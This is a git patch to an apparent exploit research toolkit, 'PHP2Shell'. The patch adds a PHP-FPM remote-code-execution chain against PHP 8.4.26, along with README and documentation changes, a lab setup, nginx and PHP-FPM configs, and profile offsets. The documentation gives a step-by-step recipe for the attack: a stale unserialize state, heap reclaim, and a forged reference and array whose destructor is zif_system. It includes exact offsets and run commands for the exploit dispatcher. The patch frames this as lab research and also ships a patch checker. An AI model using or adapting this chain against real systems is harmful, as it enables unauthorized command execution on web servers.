From 340ecf82d11769cee10a8f7d0dd057727e08642d Mon Sep 17 00:00:00 2001 From: VABISMO Date: Thu, 22 Oct 2026 22:19:54 +0200 Subject: [PATCH 1/3] Add PHP-FPM exploitation chain with verified RCE on 8.4.26 The Apache stage-1/2/3 chain does not transfer to PHP-FPM: a pre-RINIT OOM kills the worker (FPM_EXIT_SOFTWARE). This adds the FPM-viable primitive instead, exploiting the same CVEs through the stale BG(unserialize) state: - producer: post-RINIT OOM leaves {level=1, data=d} dangling - consume: pre-RINIT rfc1867 reuses d; a 4 MB builder-pool body reclaims the 8216-byte struct and forges var_hash - R:2 becomes an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; session shutdown fires the command (verified: uid=1000 proof in the nginx+FPM lab) Ships tools/php2shell_fpm.py (arm/reclaim/fire client, patchcheck), tools/php2shell_fpm_labs.py (user-prefix nginx+FPM lab, no Docker), profiles/8.4.26-fpm.json, schema extensions (sapi: fpm, fpm block), FPM dispatch in php2shell_auto.py (--sapi/--builder), unit and lab-gated integration tests, and docs/fpm-chain.md. patchcheck confirms 8.4.27 is clean (level=0, workers survive). --- .gitignore | 2 + Makefile | 14 +- README.md | 85 ++- docs/fpm-chain.md | 238 +++++++ docs/rce-guide.md | 41 +- lab/fpm/build_nginx.sh | 52 ++ lab/fpm/build_php.sh | 52 ++ lab/fpm/nginx.conf.in | 26 + lab/fpm/php-fpm.conf.in | 60 ++ lab/fpm/php.ini | 24 + lab/fpm/webroot/app.php | 25 + lab/fpm/webroot/index.php | 1 + lab/fpm/webroot/ref.php | 13 + profiles/8.2.34-bookworm-aarch64.json | 9 +- profiles/8.3.0-bookworm.json | 6 +- profiles/8.3.33-wordpress.json | 21 +- profiles/8.4.26-fpm.json | 34 + profiles/schema.json | 184 ++++-- tests/test_core.py | 10 +- tests/test_fpm.py | 192 ++++++ tools/php2shell_auto.py | 86 ++- tools/php2shell_fpm.py | 860 ++++++++++++++++++++++++++ tools/php2shell_fpm_labs.py | 401 ++++++++++++ 23 files changed, 2346 insertions(+), 90 deletions(-) create mode 100644 docs/fpm-chain.md create mode 100755 lab/fpm/build_nginx.sh create mode 100755 lab/fpm/build_php.sh create mode 100644 lab/fpm/nginx.conf.in create mode 100644 lab/fpm/php-fpm.conf.in create mode 100644 lab/fpm/php.ini create mode 100644 lab/fpm/webroot/app.php create mode 100644 lab/fpm/webroot/index.php create mode 100644 lab/fpm/webroot/ref.php create mode 100644 profiles/8.4.26-fpm.json create mode 100644 tests/test_fpm.py create mode 100755 tools/php2shell_fpm.py create mode 100755 tools/php2shell_fpm_labs.py diff --git a/.gitignore b/.gitignore index bf1102c..7352274 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,5 @@ __pycache__/ vendor/ lab/wordpress/wp/ lab/rce/out/ +lab/fpm/runtime/ +lab/fpm/webroot/out/ diff --git a/Makefile b/Makefile index 71e5143..7b1a552 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -.PHONY: bootstrap test labs-up labs-down labs-status labs-test lint clean +.PHONY: bootstrap test labs-up labs-down labs-status labs-test labs-fpm-up labs-fpm-down labs-fpm-status labs-fpm-test lint clean bootstrap: ## Fetch and pin the upstream exploit python3 tools/bootstrap_upstream.py @@ -21,6 +21,18 @@ labs-status: ## Show laboratory container status labs-test: ## Run the dispatcher against each lab python3 tools/php2shell_labs.py test +labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker) + python3 tools/php2shell_fpm_labs.py up + +labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories + python3 tools/php2shell_fpm_labs.py down + +labs-fpm-status: ## Show FPM laboratory status + python3 tools/php2shell_fpm_labs.py status + +labs-fpm-test: ## Run primitive + endgame against the FPM lab + python3 tools/php2shell_fpm_labs.py test + inventory: ## Print the profile and offset inventory python3 tools/php2shell_inventory.py diff --git a/README.md b/README.md index 4a2fe77..73f6765 100644 --- a/README.md +++ b/README.md @@ -15,10 +15,11 @@ > triggers pre-RINIT out-of-memory conditions and kills Apache children. PHP2Shell is a research workspace for the `session.upload_progress` OOM / -stale-pointer chain in PHP's Apache module. It packages a version-aware -dispatcher, a per-build profile engine, reproducible laboratories, a calibration -factory and runtime instrumentation around the public research exploit by -[9bie](https://github.com/9bie/php2shell-bypass-aslr-exp). +stale-pointer chain in PHP's Apache module, plus the PHP-FPM variant that +exploits the same CVEs through the stale `BG(unserialize)` state. It packages a +version-aware dispatcher, a per-build profile engine, reproducible laboratories, +a calibration factory and runtime instrumentation around the public research +exploit by [9bie](https://github.com/9bie/php2shell-bypass-aslr-exp). The goal is reproducible research and defensive validation, not mass exploitation. The dispatcher refuses to guess: it stops when the build has no @@ -35,6 +36,7 @@ not match the profile. | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | +| PHP 8.4.26 FPM | `php:8.4.26-fpm` (nginx) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; worker runs `uid=1000` proof | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -47,6 +49,9 @@ not match the profile. | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | **13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.** +Plus one FPM profile (`8.4.26-fpm`) with verified RCE through the +`BG(unserialize)` stale-state chain (no heap-leak stages; the stale struct is +located with the oracle each run). `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command proof on an isolated lab. `no` means not verified, not necessarily impossible; @@ -75,6 +80,13 @@ default retries because its stage 3 is probabilistic. - **Command staging** — on local labs `-c` accepts commands of any length, stages them in `/out/c` and captures the output. `--script` and `--interactive` provide batch and REPL modes. +- **FPM exploitation chain** — `tools/php2shell_fpm.py` exploits the same + CVEs against PHP-FPM behind nginx: an out-of-memory request leaves the + `BG(unserialize)` pointer stale, the next request reclaims the struct, and a + forged session variable turns the session shutdown path into `zif_system`. + Verified command execution on 8.4.26; `patchcheck` proves 8.4.27 is clean. + Requires a `/proc//mem` oracle (`ptrace_scope=0`), so it runs in the + local laboratory mode (`--builder` endpoint for the 4 MB arm phase). - **Calibration factory** — `php2shell_calibrate.py` discovers stages 1-2 and verifies stage 3 with a real proof before writing `rce: true`; `php2shell_matrix.py` runs the factory over a matrix of images. @@ -139,6 +151,25 @@ python3 tools/php2shell_labs.py status python3 tools/php2shell_inventory.py ``` +### PHP-FPM laboratory (no Docker) + +The FPM chain runs against a user-prefix PHP build with nginx, using the +`/proc//mem` oracle (`ptrace_scope=0`): + +```sh +python3 tools/php2shell_fpm_labs.py up --version 8.4.26 +python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ + --builder http://127.0.0.1:8111 +# or drive the chain directly: +python3 tools/php2shell_fpm.py endgame \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 +python3 tools/php2shell_fpm_labs.py down +``` + +The consumer request exits with HTTP 502 (the worker dies after firing +`zif_system`); the proof is written by the command itself and served statically +from `/out/`. See [docs/fpm-chain.md](docs/fpm-chain.md). + ## How it works The chain abuses the `session.upload_progress` callback that runs **before** @@ -158,6 +189,30 @@ the request startup (pre-RINIT) and therefore before the target script: The full technical write-up, including the session lifecycle and the heap grooming, is in [docs/php2shell-analysis.md](docs/php2shell-analysis.md). +### PHP-FPM chain + +The FPM lifecycle differs from mod_php: a pre-RINIT OOM kills the worker +outright (`FPM_EXIT_SOFTWARE`), so the Apache stage-1/2/3 carrier does not +transfer. The FPM chain instead abuses the stale `BG(unserialize)` state: + +1. **Arm.** An out-of-memory multipart request aborts between + `php_var_unserialize_init` and `php_var_unserialize_destroy`, leaving + `BG(unserialize).data` dangling and `level=1`. The next request that reaches + RINIT memsets `BG` — so the stale window is one request wide. +2. **Locate and reclaim.** The stale 8216-byte `php_unserialize_data` struct is + found with the `/proc//mem` oracle (two candidate heap slots; a mismatch + self-corrects on retry). A 4 MB body posted to a second endpoint (the + builder pool) reclaims the chunk. +3. **Forge and fire.** The reclaimed buffer carries a fake `zend_reference` + whose `val` is a fake array whose `pDestructor` is `zif_system`. The consume + request attaches it as session variable `r`; at session shutdown + `zval_ptr_dtor(&PS(http_session_vars))` destroys the reference, the array + destructor loop calls `zif_system(frame)` with the argument at `execute_data + + 0x50` — a fake `zend_string` holding the command. + +`cmd_patchcheck` verifies the stale arm on 8.4.26 and that 8.4.27 (`level=0`) +is clean. Details in [docs/fpm-chain.md](docs/fpm-chain.md). + A profile is per build: ```json @@ -191,9 +246,12 @@ The shipped calibration targets: `session.use_strict_mode=0`. A hardened production PHP (128M+, `display_errors=Off`, multiple workers, FPM) -does not match the shipped calibration. Multi-worker targets are handled with -`--pin-workers`; `display_errors=Off` and FPM remain open research items (see -Limitations). +does not match the shipped Apache calibration. Multi-worker Apache targets are +handled with `--pin-workers`; `display_errors=Off` remains an open research +item. The FPM chain has its own requirements: nginx in front of FPM, a +`/proc//mem` oracle (`yama ptrace_scope=0`), a small consumer pool +(`memory_limit=8M`, cleanup on) and a larger builder pool (64M, cleanup off) +for the 4 MB arm phase — see [docs/fpm-chain.md](docs/fpm-chain.md). ## Multi-worker targets @@ -277,7 +335,9 @@ profiles/*.json heap profiles (offsets, heap params, verified fla profiles/offsets/*.json ELF symbol offsets per image vendor/ generated upstream checkout (git-ignored) tools/ - php2shell_auto.py version-aware dispatcher + php2shell_auto.py version-aware dispatcher (Apache + FPM) + php2shell_fpm.py PHP-FPM chain client (arm/reclaim/fire) + php2shell_fpm_labs.py user-prefix FPM laboratories (no Docker) php2shell_calibrate.py profile generator with proof verification php2shell_matrix.py profile factory over image tags php2shell_rce.py manual upstream launcher @@ -292,8 +352,10 @@ tools/ lab/ wordpress/ WordPress 8.3.33 + mod_php laboratory rce/ single-worker calibration lab and configs + fpm/ nginx + PHP-FPM laboratory (8.4.26 / 8.4.27) docs/ php2shell-analysis.md technical analysis + fpm-chain.md PHP-FPM chain and laboratory rce-guide.md full RCE guide and profile schema exploit-report.md laboratory results labs.md laboratory reference @@ -368,8 +430,10 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Limitations -- **mod_php prefork only.** PHP-FPM has a different lifecycle; the chain does - not transfer as-is and FPM is not supported. +- **mod_php prefork and FPM.** The Apache chain needs prefork + `mod_php`; + the FPM chain needs nginx + FPM with a `/proc//mem` oracle + (`ptrace_scope=0`) and two endpoints (consumer + builder pool). Other SAPIs + are not supported. - **One worker / pinning.** Without pinning, the per-worker session state breaks stage 1. - **Per-build offsets.** A profile is tied to a `libphp.so` build; the same @@ -392,6 +456,7 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Documentation - [Technical analysis](docs/php2shell-analysis.md) +- [PHP-FPM chain](docs/fpm-chain.md) - [RCE guide and profile schema](docs/rce-guide.md) - [Laboratory results](docs/exploit-report.md) - [Laboratories](docs/labs.md) diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md new file mode 100644 index 0000000..0d31dfa --- /dev/null +++ b/docs/fpm-chain.md @@ -0,0 +1,238 @@ +# The PHP-FPM chain + +The upstream Apache chain (CVE-2026-109618 / CVE-2026-109619, stages 1-3) +needs a pre-RINIT out-of-memory bailout. Under PHP-FPM that bailout is fatal: +`fpm_main.c` treats it as `FPM_EXIT_SOFTWARE` and kills the worker, so the +Apache progress-cache UAF never survives to the next request. + +The FPM-viable primitive is the **stale `BG(unserialize)` state** — the same +CVEs through a different window. Verified end-to-end on PHP 8.4.26 (amd64, +Debian) in the local laboratory; `cmd_patchcheck` confirms 8.4.27 leaves +`level=0` (clean). + +> **Authorized testing only.** The chain is disruptive: it sends multi-megabyte +> bodies, triggers out-of-memory conditions and kills FPM workers. Use it only +> against systems you own or have written permission to test. + +## Why FPM differs from mod_php + +In mod_php the Apache chain reuses per-request heap state across HTTP +requests handled by the same prefork child. FPM's worker lifecycle differs in +two ways: + +1. A pre-RINIT OOM kills the whole worker (`fpm_main.c:1871` → + `FPM_EXIT_SOFTWARE`), so the progress-cache UAF cannot be consumed later. +2. `PHP_RINIT(basic)` runs `memset(&BG, 0, ...)` on **every** request that + reaches RINIT, wiping `BG(unserialize)` — the stale window is exactly one + request wide. + +The chain therefore has to *re-claim* the stale struct inside the request that +still sees it, before RINIT runs. The rfc1867 multipart upload handler gives +exactly that window. + +## The chain + +All offsets are per build and live in `profiles/8.4.26-fpm.json` +(`fpm.basic_globals`, `fpm.bg_unserialize_*`, `libphp.zif_system` / +`libphp.zval_ptr_dtor`). Two structures matter (verified against the 8.4.26 +sources): + +- `BG(unserialize)` in `php_basic_globals` + (`ext/standard/basic_functions.h`) is + `{ struct php_unserialize_data *data; unsigned level; }` — `data` at + `basic_globals + 872`, `level` at `+880` (the `fpm.bg_unserialize_*` + profile fields). +- `struct php_unserialize_data` (`ext/standard/var_unserializer.re`) is + `{ var_entries *last; var_dtor_entries *first_dtor, *last_dtor; + HashTable *allowed_classes, *ref_props; zend_long cur_depth, max_depth; + var_entries entries; }` with + `var_entries = { zend_long used_slots; void *next; zval *data[1018]; }` — + 56 + 8160 = **8216 bytes** (`fpm.struct_size`). The forged `R:2` target + lands in `entries.data[]`; the reclaim buffer overwrites the whole chunk. + +### 1. Arm — post-RINIT OOM leaves `BG(unserialize)` stale + +`producer` sends `GET app.php` with a cookie naming a large session +(`~4 MB`, built once by the builder pool with `cleanup=Off`). +`session_start()` decodes the session **post-RINIT**; the decode pushes +`level` to 1 and allocates the 8216-byte struct at `d`; the allocation storm +then hits `memory_limit=8M` and bails out. `zend_try` in `php_execute_script` +catches the bailout, the worker survives, and `BG(unserialize)` keeps +`{level=1, data=d}` pointing at the teardown-freed struct. + +At this point `d` is dangling: the only live reference in the engine is the +stale `BG` pair. Every subsequent request that reaches RINIT memsets `BG`, so +the consumer must arrive *before* its own RINIT. + +### 2. Locate and reclaim (oracle lab mode) + +`Oracle` (local lab only) reads `/proc//mem` at +`basic_globals + 872/+880` to get `d` and `level`, plus the worker's PIE base +for the FNM offsets. Two heap slots recycle the struct +(`0x7f07be280000` / `0x7f07be281000` on the reference build); a mismatch +self-corrects on retry (`cmd_endgame` verifies probe-arm `d` equals +consume-arm `d` and retries up to 4×, rebuilding the oracle after a dead +worker). + +The consume request is a multipart POST (pre-RINIT): the rfc1867 handler runs +inside `php_hash_environment()`, i.e. **before** `zend_activate_modules()` +where `PHP_RINIT(basic)` would memset `BG`. `php_session_initialize()` → +`php_session_decode()` → `php_var_unserialize_init()` **reuses** `d`. A 4 MB +body (the `reclaim` part) reclaims `d`'s slot; the controlled content plants a +forged `var_entries` at the exact offsets of the original struct. + +The 4 MB arm phase is posted to a **second endpoint** (the builder pool, +`memory_limit=64M`, `cleanup=Off`): posting it to the 8M chain pool would kill +the consumer worker before the fire. + +### 3. Forge — reference → fake array → `zif_system` + +The reclaimed buffer carries, at the offsets `php_var_unserialize` will read: + +- a fake `zend_reference` (`IS_REFERENCE`, refcount 0) whose `val.type` is + `IS_ARRAY` and whose `gc`/`val` buffers point into the same chunk; +- a fake `zend_array` (`zend_array` layout: `arData`, `nNumUsed`, `flags = + HASH_FLAG_STATIC_KEYS (0x10)`, `pDestructor = zif_system`) with one bucket; +- a fake `zend_execute_data` frame (80 B) whose arg 1 (`execute_data + 0x50`) + is a fake `zend_string` holding the command (≤ 87 bytes, no NUL); +- the command bytes themselves and a NUL terminator. + +The consume request's session contains `r|R:2`; the forged buffer supplies the +`R:2` target, so `r` becomes an `IS_REFERENCE` to the fake array. + +### 4. Fire — session shutdown calls `zif_system` + +`consume` attaches `r`; the worker's session shutdown path does the rest: + +1. `php_session_flush(1)` saves the session — plain arrays are never + addref'd, and `php_add_var_hash`'s temporary ADDREF is balanced by the + serialize var_hash destroy, so the save is safe; +2. `php_rshutdown_session_globals` → `zval_ptr_dtor(&PS(http_session_vars))` + destroys `r` → DELREF the reference 1→0 → `zend_reference_destroy` → + `i_zval_ptr_dtor(&ref->val)`; +3. the fake array's DELREF 1→0 → `zend_array_destroy` → + `pDestructor != ZVAL_PTR_DTOR` → `zend_hash_destroy` (flags 0x10, no + `HASH_FLAG_HAS_EMPTY_IND`, plain `pDestructor(&p->val)` loop); +4. `zif_system(frame)` runs with `RDI` = the execute frame; the fake + `zend_string` at arg 1 is the command. `popen` executes it; the RETVAL + write to garbage `RSI` and an interior `efree` abort the worker — + acceptable: the proof is on disk and FPM respawns the worker. + +`php_var_unserialize_destroy` is skipped at consume (level 2→1) and 8.4.26 +has no RSHUTDOWN cleanup, so the fake dtor chunk at `d + 0x400` is never +walked during the request. The next request that reaches RINIT memsets `BG` +and re-arms from scratch — each `endgame` run is self-contained. + +## Proof + +The default command is `id>out/p1` (FPM pool cwd is `lab/fpm/webroot`, so +`out/` is served statically by nginx as `/out/p1`). The consumer request +exits **HTTP 502** (worker death after fire) — that is expected. Fetch the +proof separately: + +```sh +curl http://127.0.0.1:8110/out/p1 +# uid=1000(cryptocalypse) gid=1000(cryptocalypse) groups=... +``` + +On the reference run the proof was `uid=1000` (the unprivileged lab user), +i.e. real command execution inside the FPM worker. + +## patchcheck + +`cmd_patchcheck` runs the arm/probe sequence against a build and reports the +stale state: + +```sh +python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8110 +# 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED +python3 tools/php2shell_fpm.py patchcheck --base http://127.0.0.1:8120 +# 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe) +``` + +## Laboratory + +`tools/php2shell_fpm_labs.py` runs two user-prefix builds behind one nginx +(no Docker, no root): + +| Build | chain HTTP | builder HTTP | chain FPM | builder FPM | +| --- | --- | --- | --- | --- | +| 8.4.26 | :8110 | :8111 | :9001 | :9002 | +| 8.4.27 | :8120 | :8121 | :9011 | :9012 | + +Pools (from `lab/fpm/php-fpm.conf.in`): + +- **chain** — `memory_limit=8M`, session `cleanup=On` (the consumer worker); +- **builder** — `memory_limit=64M`, `cleanup=Off` (builds the ~4 MB session + files consumed by `producer` and `build-oom`). + +Requirements: `yama ptrace_scope=0` (the `/proc//mem` oracle), Python +3.11+, gcc for the user-prefix PHP builds (`lab/fpm/build*.sh`). + +```sh +python3 tools/php2shell_fpm_labs.py up --version 8.4.26 +python3 tools/php2shell_fpm_labs.py status +python3 tools/php2shell_fpm_labs.py smoke +python3 tools/php2shell_fpm_labs.py test # primitive + endgame end-to-end +python3 tools/php2shell_fpm_labs.py down +``` + +Starting 8.4.27 alone (`up --only 8.4.27`) needs the shared nginx already +running; if the port check fails, start the FPM workers directly: + +```sh +lab/fpm/runtime/php-8.4.27/sbin/php-fpm \ + -y lab/fpm/runtime/php-8.4.27/php-fpm.conf \ + -c lab/fpm/php.ini -p lab/fpm/runtime/php-8.4.27 --daemonize +``` + +## Driving the chain + +Directly (recommended first runs): + +```sh +python3 tools/php2shell_fpm.py primitive \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 +# forged benign var_entries; observable via app.php (rvalue) + +python3 tools/php2shell_fpm.py endgame \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 +``` + +Via the dispatcher (`tools/php2shell_auto.py` fingerprints nginx and routes +to the FPM chain; the lab needs an explicit `--builder` because the consumer +endpoint alone is not enough for the 4 MB arm phase): + +```sh +python3 tools/php2shell_auto.py \ + -u http://127.0.0.1:8110/index.php --sapi fpm \ + --builder http://127.0.0.1:8111 +``` + +Tests: the unit suite always runs; the live lab tests are gated: + +```sh +python3 -m unittest discover -s tests -v # 48 tests, skips live FPM +PHP2SHELL_FPM_LAB=1 python3 -m unittest \ + tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame live +``` + +## Limitations and future work + +- **Oracle lab mode.** The remote (no-oracle) leak of `d` is future work; the + shipped chain needs `/proc//mem` and therefore runs loopback-only. +- **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are + PIE-relative offsets for the exact FPM build; another distro or version + needs its own profile (`sapi: "fpm"`, see `profiles/schema.json`). +- **Command length.** ≤ 87 bytes, no NUL (fake `zend_string` carrier). +- **Worker death is expected.** The RETVAL/`efree` abort after `zif_system` + kills the consumer worker; FPM respawns it. Long-lived targets see a brief + 502. +- **Two endpoints.** The arm phase must hit a larger pool than the consumer; + a single-endpoint deployment would OOM the consumer worker. +- **8.4.27+ is clean.** `PHP_RINIT(basic)` reclaims/memsets the state before + the window; `patchcheck` proves `level=0`. + +See `profiles/8.4.26-fpm.json` for the verified profile and +`tools/php2shell_fpm.py` for the implementation. diff --git a/docs/rce-guide.md b/docs/rce-guide.md index 2e1bd1c..edb807b 100644 --- a/docs/rce-guide.md +++ b/docs/rce-guide.md @@ -298,14 +298,17 @@ the RCE stage and prints what is still missing. ### Profile schema (`profiles/-.json`) +Apache/mod_php profile: + ```json { + "name": "php-8.4.26-bookworm-amd64", "php_version": "8.4.26", "branch": "8.4", "fixed_in": "8.4.27", + "sapi": "apache", "verified": true, "rce": true, - "upstream_profile": "bookworm", "libphp": { "zif_system": "0x465370", "zval_ptr_dtor": "0x65eb60", "htdata": "0x690d8" }, "stages": { "stage1_n": 841, "stage1_forge_len": 79, @@ -313,14 +316,40 @@ the RCE stage and prints what is still missing. "stage3_pads": [[31,31],[31,31],[31,31],[31,31],[31,31],[31,31]], "stage3_carrier": true }, - "requirements": { "display_errors": "On", "memory_limit": "8M", "workers": 1 } + "oom_mb": 12 +} +``` + +FPM profile (no heap-leak stages; the `fpm` block carries the +`BG(unserialize)` offsets — see [fpm-chain.md](fpm-chain.md)): + +```json +{ + "name": "php-8.4.26-fpm", + "php_version": "8.4.26", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "rce": true, + "libphp": { "zif_system": "0x386660", "zval_ptr_dtor": "0x54a0d0", "htdata": null }, + "fpm": { + "basic_globals": "0xa04660", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [4096, 4096, 4096], + "reclaim_size": 12288 + }, + "stages": {}, + "oom_mb": 4 } ``` -`rce` must stay `false` until the chain has executed a command on a replica of -that exact build. Same PHP version built by another distribution has different -`libphp` offsets and a different heap layout, so the version string alone is not -a build fingerprint. +The full machine-checked schema is `profiles/schema.json`; validate with +`make validate-profiles`. `rce` must stay `false` until the chain has +executed a command on a replica of that exact build. Same PHP version built +by another distribution has different offsets, so the version string alone is +not a build fingerprint. ### Scaling to more versions diff --git a/lab/fpm/build_nginx.sh b/lab/fpm/build_nginx.sh new file mode 100755 index 0000000..98f55c1 --- /dev/null +++ b/lab/fpm/build_nginx.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +# build_nginx.sh — build a minimal nginx into a user prefix (no root). +# +# Usage: lab/fpm/build_nginx.sh [version] +# Result: lab/fpm/runtime/nginx/sbin/nginx +set -euo pipefail + +VER="${1:-1.26.3}" +HERE="$(cd "$(dirname "$0")" && pwd)" +RUNTIME="$HERE/runtime" +SRC="$RUNTIME/src" +PREFIX="$RUNTIME/nginx" +JOBS="${JOBS:-$(nproc)}" + +mkdir -p "$SRC" + +if [ ! -d "$SRC/nginx-$VER" ]; then + TARBALL="$SRC/nginx-$VER.tar.gz" + if [ ! -f "$TARBALL" ]; then + echo "[*] downloading nginx-$VER" + curl -fsSL -o "$TARBALL" "https://nginx.org/download/nginx-$VER.tar.gz" + fi + echo "[*] extracting $TARBALL" + tar xzf "$TARBALL" -C "$SRC" +fi + +cd "$SRC/nginx-$VER" +if [ ! -f Makefile ] || ! grep -q "$PREFIX" Makefile 2>/dev/null; then + echo "[*] configuring nginx-$VER (no pcre/zlib deps)" + ./configure \ + --prefix="$PREFIX" \ + --without-http_gzip_module \ + --without-http_rewrite_module \ + --without-http_charset_module \ + --without-http_ssi_module \ + --without-http_userid_module \ + --without-http_access_module \ + --without-http_auth_basic_module \ + --without-http_autoindex_module \ + --without-http_geo_module \ + --without-http_map_module \ + --without-http_split_clients_module \ + --without-http_referer_module \ + --without-http_proxy_module \ + --with-cc-opt="-O2" >/dev/null +fi +echo "[*] building nginx-$VER (-j$JOBS)" +make -j"$JOBS" >/dev/null +# `make install` would lay out conf/ and logs/ under the prefix; that is all we need. +make install >/dev/null +echo "[+] nginx ready: $PREFIX/sbin/nginx" +"$PREFIX/sbin/nginx" -v diff --git a/lab/fpm/build_php.sh b/lab/fpm/build_php.sh new file mode 100755 index 0000000..1031076 --- /dev/null +++ b/lab/fpm/build_php.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +# build_php.sh — build a vulnerable/fixed PHP with FPM into a user prefix. +# +# Usage: lab/fpm/build_php.sh [tarball] +# e.g. lab/fpm/build_php.sh 8.4.26 /tmp/opencode/php-8.4.26.tar.gz +# +# The result is lab/fpm/runtime/php-/{sbin/php-fpm,bin/php,...}. +# No root required. Extensions kept minimal: session + standard (zif_system). +set -euo pipefail + +VER="${1:?usage: build_php.sh [tarball]}" +TARBALL="${2:-}" +HERE="$(cd "$(dirname "$0")" && pwd)" +RUNTIME="$HERE/runtime" +SRC="$RUNTIME/src" +PREFIX="$RUNTIME/php-$VER" +JOBS="${JOBS:-$(nproc)}" + +mkdir -p "$SRC" + +if [ ! -d "$SRC/php-$VER" ]; then + if [ -z "$TARBALL" ]; then + TARBALL="$SRC/php-$VER.tar.gz" + if [ ! -f "$TARBALL" ]; then + echo "[*] downloading php-$VER" + curl -fsSL -o "$TARBALL" "https://www.php.net/distributions/php-$VER.tar.gz" || + curl -fsSL -o "$TARBALL" "https://museum.php.net/php8/php-$VER.tar.gz" + fi + fi + echo "[*] extracting $TARBALL" + tar xzf "$TARBALL" -C "$SRC" +fi + +cd "$SRC/php-$VER" +if [ ! -f Makefile ] || [ ! -f config.status ]; then + echo "[*] configuring php-$VER (fpm, session, minimal)" + ./configure \ + --prefix="$PREFIX" \ + --disable-all \ + --enable-cli \ + --enable-fpm \ + --enable-session \ + --without-pear \ + --disable-cgi \ + --disable-phpdbg \ + CFLAGS="-O2 -g" +fi +echo "[*] building php-$VER (-j$JOBS)" +make -j"$JOBS" >/dev/null +make install >/dev/null +echo "[+] php-$VER ready: $PREFIX/sbin/php-fpm" +"$PREFIX/sbin/php-fpm" -v | head -1 diff --git a/lab/fpm/nginx.conf.in b/lab/fpm/nginx.conf.in new file mode 100644 index 0000000..db2aee9 --- /dev/null +++ b/lab/fpm/nginx.conf.in @@ -0,0 +1,26 @@ +# php2shell FPM laboratory — one nginx fronts every build under test. +# SERVERS placeholder is expanded by tools/php2shell_fpm_labs.py (one server +# block per version: chain port + builder port). +worker_processes 1; +error_log @RUNTIME@/logs/nginx-error.log warn; +pid @RUNTIME@/logs/nginx.pid; +daemon on; +master_process on; + +events { + worker_connections 1024; +} + +http { + include @NGINX_CONF@/mime.types; + default_type application/octet-stream; + access_log @RUNTIME@/logs/nginx-access.log; + sendfile on; + keepalive_timeout 65; + client_max_body_size 128m; + client_body_buffer_size 256k; + client_body_temp_path @RUNTIME@/logs/client_temp; + fastcgi_temp_path @RUNTIME@/logs/fastcgi_temp; + +@SERVERS@ +} diff --git a/lab/fpm/php-fpm.conf.in b/lab/fpm/php-fpm.conf.in new file mode 100644 index 0000000..4b798f6 --- /dev/null +++ b/lab/fpm/php-fpm.conf.in @@ -0,0 +1,60 @@ +; php2shell FPM laboratory — rendered per build by tools/php2shell_fpm_labs.py. +; Two pools share one binary: +; chain — the exploit target (8M, cleanup On), one static worker +; builder — builds large session files pure-HTTP (64M, cleanup Off) +[global] +pid = @RUNTIME@/logs/fpm.pid +error_log = @RUNTIME@/logs/fpm.log +log_level = notice +daemonize = yes +emergency_restart_threshold = 1000 + +[chain] +listen = 127.0.0.1:@CHAIN_PORT@ +listen.allowed_clients = 127.0.0.1 +user = @USER@ +group = @GROUP@ +pm = static +pm.max_children = 1 +pm.max_requests = 0 +request_terminate_timeout = 0 +catch_workers_output = no +decorate_workers_output = no +chdir = @WEBROOT@ +php_admin_value[memory_limit] = 8M +php_admin_value[post_max_size] = 128M +php_admin_value[upload_max_filesize] = 128M +php_admin_value[max_input_vars] = 1000 +php_admin_value[session.save_path] = @SAVEDIR@ +php_admin_value[session.upload_progress.cleanup] = On +php_admin_value[session.upload_progress.enabled] = On +php_admin_value[session.use_cookies] = 1 +php_admin_value[session.use_strict_mode] = 0 +php_admin_flag[display_errors] = On +php_admin_flag[display_startup_errors] = On +php_admin_value[error_reporting] = E_ALL +php_admin_value[expose_php] = On +php_admin_value[error_log] = @RUNTIME@/logs/php-chain.log + +[builder] +listen = 127.0.0.1:@BUILDER_PORT@ +listen.allowed_clients = 127.0.0.1 +user = @USER@ +group = @GROUP@ +pm = static +pm.max_children = 1 +pm.max_requests = 0 +catch_workers_output = no +decorate_workers_output = no +chdir = @WEBROOT@ +php_admin_value[memory_limit] = 64M +php_admin_value[post_max_size] = 128M +php_admin_value[upload_max_filesize] = 128M +php_admin_value[session.save_path] = @SAVEDIR@ +php_admin_value[session.upload_progress.cleanup] = Off 